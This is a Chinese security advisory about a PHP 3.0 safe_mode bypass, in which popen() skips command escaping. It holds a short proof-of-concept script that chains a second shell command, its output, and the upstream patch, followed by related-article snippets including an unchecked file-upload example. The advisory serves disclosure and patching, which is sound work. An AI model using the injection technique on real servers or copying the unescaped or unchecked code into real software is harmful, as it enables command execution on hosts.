PHP3 safe_mode 失效漏洞

受影响的系统:  PHP 3.00  
--------------------------------------------------------------------------------
描述:

PHP Version 3.0是一个HTML嵌入式脚本语言。其大多数语法移植于C、Java和Perl并结合了
PHP的特色。这个语言可以让web开发者快速创建动态网页。

因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性,
用于控制在允许PHP操作的webroot环境中执行命令。

其实现机制是通过强制执行shell命令的系统调用将shell命令传送到EscapeShellCmd()
函数,此函数用于确认在webroot目录外部不能执行命令。

在某些版本的PHP中,使用popen()命令时EscapeShellCmd()却失效了,造成恶意用户可
以利用'popen'系统调用进行非法操作。

--------------------------------------------------------------------------------
测试程序:

警 告:以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!

<?php
$fp = popen("ls -l /opt/bin; /usr/bin/id", "r");
echo "$fp<br>n";
while($line = fgets($fp, 1024)):
printf("%s<br>n", $line);
endwhile;
pclose($fp);
phpinfo();
?>

输出结果如下:

1
total 53  
-rwxr-xr-x 1 root root 52292 Jan 3 22:05 ls  
uid=30(wwwrun) gid=65534(nogroup) groups=65534(nogroup)  
and from the configuration values of phpinfo():
safe_mode 0 1

--------------------------------------------------------------------------------
建议:  
Index: functions/file.c
===================================================================
RCS file: /repository/php3/functions/file.c,v
retrieving revision 1.229
retrieving revision 1.230
diff -u -r1.229 -r1.230
--- functions/file.c 2000/01/01 04:31:15 1.229
+++ functions/file.c 2000/01/03 21:31:31 1.230
@@ -26,7 +26,7 @@
| Authors: Rasmus Lerdorf <rasmus@lerdorf.on.ca> |
+----------------------------------------------------------------------+
*/
-/* $Id: file.c,v 1.229 2000/01/01 04:31:15 sas Exp $ */
+/* $Id: file.c,v 1.230 2000/01/03 21:31:31 kk Exp $ */
#include "php.h"
#include <stdio.h>
@@ -51,6 +51,7 @@
#include "safe_mode.h"
#include "php3_list.h"
#include "php3_string.h"
+#include "exec.h"
#include "file.h"
#if HAVE_PWD_H
#if MSVC5

@@ -575,7 +576,7 @@
pval *arg1, *arg2;
FILE *fp;
int id;
- char *p;
+ char *p, *tmp = NULL;
char *b, buf[1024];
TLS_VARS;

@@ -600,7 +601,11 @@
} else {
snprintf(buf,sizeof(buf),"%s/%s",php3_ini.safe_mode_exec_dir,arg1->value.str.val);
}

- fp = popen(buf,p);

+
+ tmp = _php3_escapeshellcmd(buf);
+ fp = popen(tmp,p);
+ efree(tmp); /* temporary copy, no longer necessary */
+
if (!fp) {
php3_error(E_WARNING,"popen("%s","%s") - %s",buf,p,strerror(errno));
RETURN_FALSE;

(0)

相关推荐

  • PHP3 safe_mode 失效漏洞

    受影响的系统:  PHP 3.00  -------------------------------------------------------------------------------- 描述: PHP Version 3.0是一个HTML嵌入式脚本语言.其大多数语法移植于C.Java和Perl并结合了 PHP的特色.这个语言可以让web开发者快速创建动态网页. 因其执行在web服务器上并允许用户执行代码,PHP内置了称为'safe_mode'的安全特性, 用于控制在允许PHP操作的

  • 木翼下载系统中说明的PHP安全配置方法

    一.Web服务器安全 PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全.当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽.PHP可以和各种Web服务器结合,这里也只讨论Apache.非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统.但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地址使用tcp连接而

  • PHP安全配置

    PHP安全配置 一.Web服务器安全  PHP其实不过是Web服务器的一个模块功能,所以首先要保证Web服务器的安全.当然Web服务器要安全又必须是先保证系统安全,这样就扯远了,无穷无尽.PHP可以和各种Web服务器结合,这里也只讨论Apache.非常建议以chroot方式安装启动Apache,这样即使Apache和PHP及其脚本出现漏洞,受影响的也只有这个禁锢的系统,不会危害实际系统.但是使用chroot的Apache后,给应用也会带来一定的麻烦,比如连接mysql时必须用127.0.0.1地

  • PHP常见漏洞攻击分析

    综述:PHP程序也不是固若金汤,随着PHP的广泛运用,一些黑客们也在无时不想找PHP的麻烦,通过PHP程序漏洞进行攻击就是其中一种.在节,我们将从全局变量,远程文件,文件上载,库文件,Session文件,数据类型和容易出错的函数这几个方面分析了PHP的安全性. 如何通过全局变量进行攻击? PHP中的变量不需要事先声明,它们会在第一次使用时自动创建,它们的类型根据上下文环境自动确定.从程序员的角度来看,这无疑是一种极其方便的处理方法.一旦一个变量被创建了,就可以在程序中的任何地方使用.这个特点导致

  • 如何对PHP程序中的常见漏洞进行攻击

    [库文件] 正如我们前面讨论的那样,include()和require()主要是为了支持代码库,因为我们一般是把一些经常使用的函数放到一个独立的文件中,这个独立的文件就是代码库,当需要使用其中的函数时,我们只要把这个代码库包含到当前的文件中就可以了. 最初,人们开发和发布PHP程序的时候,为了区别代码库和主程序代码,一般是为代码库文件设置一个".inc"的扩展名,但是他们很快发现这是一个错误,因为这样的文件无法被PHP解释器正确解析为PHP代码.如果我们直接请求服务器上的这种文件时,我

  • 如何对PHP程序中的常见漏洞进行攻击(下)

    如何对PHP程序中的常见漏洞进行攻击(下) 翻译:analysist(分析家) 来源:http://www.china4lert.org 如何对PHP程序中的常见漏洞进行攻击(下) 原著:Shaun Clowes <http://www.securereality.com.au/> 翻译:analysist <http://www.nsfocus.com/> [库文件] 正如我们前面讨论的那样,include()和require()主要是为了支持代码库,因为我们一般是把一些经常使用

  • PHP编程中的常见漏洞和代码实例

    不是固若金汤,随着PHP的广泛运用,一些黑客们也在无时不想找PHP的麻烦,通过PHP程序漏洞进行攻击就是其中一种.在节,我们将从全局变量,远程文件,文件上载,库文件,Session文件,数据类型和容易出错的函数这几个方面分析了PHP的安全性. 如何通过全局变量进行攻击? PHP中的变量不需要事先声明,它们会在第一次使用时自动创建,它们的类型根据上下文环境自动确定.从程序员的角度来看,这无疑是一种极其方便的处理方法.一旦一个变量被创建了,就可以在程序中的任何地方使用.这个特点导致的结果就是程序员很

  • 2004年十大网络安全漏洞

    国际安全组织新发布:2004年十大网络应用漏洞    IT安全专业人士的开放网络应用安全计划组织(OWASP)发布的第二份年度十大网络应用安全薄弱环节列表中,增加了"拒绝提供服务"类型的隐患,因为在去年该类型的隐患已屡见不鲜.OWASP的主席兼"奠基石"(一家提供战略安全服务的公司)顾问会主任柯费·马克称:"我们预测:本年度,主要的电子商务网站将遭到拒绝提供服务的攻击,因为黑客已经对众多的用户密码感到厌烦."比如:当一名掌握着大量电子邮件帐号的黑

  • 你不知道的文件上传漏洞php代码分析

    漏洞描述 开发中文件上传功能很常见,作为开发者,在完成功能的基础上我们一般也要做好安全防护. 文件处理一般包含两项功能,用户上传和展示文件,如上传头像. 文件上传攻击示例 upload.php <?php $uploaddir = 'uploads/'; $uploadfile = $uploaddir . basename($_FILES['userfile']['name']); if (move_uploaded_file($_FILES['userfile']['tmp_name'],

  • PHP漏洞全解(详细介绍)

    针对PHP的网站主要存在下面几种攻击方式: 1.命令注入(Command Injection) 2.eval注入(Eval Injection) 3.客户端脚本攻击(Script Insertion) 4.跨网站脚本攻击(Cross Site Scripting, XSS) 5.SQL注入攻击(SQL injection) 6.跨网站请求伪造攻击(Cross Site Request Forgeries, CSRF) 7.Session 会话劫持(Session Hijacking) 8.Ses

随机推荐